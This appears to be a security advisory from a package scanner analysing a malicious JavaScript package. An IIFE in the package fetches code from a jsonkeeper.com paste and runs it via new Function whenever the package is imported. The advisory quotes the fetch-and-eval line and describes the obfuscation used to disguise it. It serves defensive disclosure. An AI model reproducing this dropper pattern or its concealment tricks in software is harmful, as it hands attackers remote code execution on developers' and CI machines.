Source: amazon-inspector (d1f9ee389e1023034a78a4c268db5d48e016565f37b7fb6c514bf095b2dec552)

On require/import of the package, the entrypoint chain src/index.js → core/createConfig.js → features/plugins.js side-effect-imports features/extras/config.js, which runs an IIFE that performs axios.get('https://www.jsonkeeper.com/b/AAON3', { headers: { 'x-secret-key': '_' } }), reads .data.config from the response, and executes the returned string via new Function('require', s)(require) with a Node require constructed through createRequire(import.meta.url). The fetch-and-eval is wrapped in a 5-attempt retry loop with a swallowed try/catch. The dropper additionally shadows the global process with a local object whose keys are renamed DEV_API_KEY, DEV_SECRET_KEY, DEV_SECRET_VALUE so the hardcoded URL and header read like ordinary environment-variable lookups, and the wrapper function is named getCallers to obscure intent. jsonkeeper.com is an anonymous, mutable paste host with no hash pinning — the operator can swap the executed payload at any time. Any project that imports this package (for example in vite.config.js) hands the author arbitrary code execution on the developer's or CI machine with full require access.
